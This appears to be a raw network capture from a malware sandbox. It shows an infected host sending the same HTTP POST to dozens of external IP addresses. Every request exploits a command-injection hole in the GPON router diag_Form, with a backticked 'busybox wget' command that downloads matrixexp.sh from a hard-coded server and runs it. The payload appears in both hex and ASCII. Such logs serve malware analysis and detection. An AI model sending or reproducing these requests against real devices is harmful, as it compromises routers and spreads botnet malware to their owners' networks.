Mar 21, 2024 05:23:46.888386965 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2215	192.168.2.13	44776	42.7.32.255	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888396025 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2216	192.168.2.13	57206	109.55.6.33	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888413906 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2217	192.168.2.13	37016	109.167.9.51	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888413906 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2218	192.168.2.13	45708	212.197.114.198	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888432026 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2219	192.168.2.13	39512	42.103.24.103	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888432026 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2220	192.168.2.13	35270	42.148.72.115	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888437986 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2221	192.168.2.13	52364	212.254.198.232	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888467073 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2222	192.168.2.13	55118	109.71.143.230	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888468027 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2223	192.168.2.13	53260	5.18.117.196	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888473034 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2224	192.168.2.13	60090	109.163.84.19	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888518095 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2225	192.168.2.13	40182	5.80.31.208	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888518095 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2226	192.168.2.13	50828	5.31.60.11	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888528109 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2227	192.168.2.13	55050	109.54.49.222	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888534069 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2228	192.168.2.13	40124	42.230.44.39	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888551950 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2229	192.168.2.13	35004	5.213.197.23	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888557911 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2230	192.168.2.13	33986	212.193.161.211	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888557911 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2231	192.168.2.13	37692	109.160.131.111	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888576984 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2232	192.168.2.13	32848	109.196.39.149	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888601065 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2233	192.168.2.13	52230	118.89.255.99	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888608932 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2234	192.168.2.13	53662	5.220.22.85	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888616085 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2235	192.168.2.13	39958	118.57.230.76	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888626099 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2236	192.168.2.13	52510	109.210.221.120	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888658047 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2237	192.168.2.13	50846	212.182.200.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888659000 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2238	192.168.2.13	58940	109.210.177.105	443

Timestamp	Bytes transferred	Direction	Data
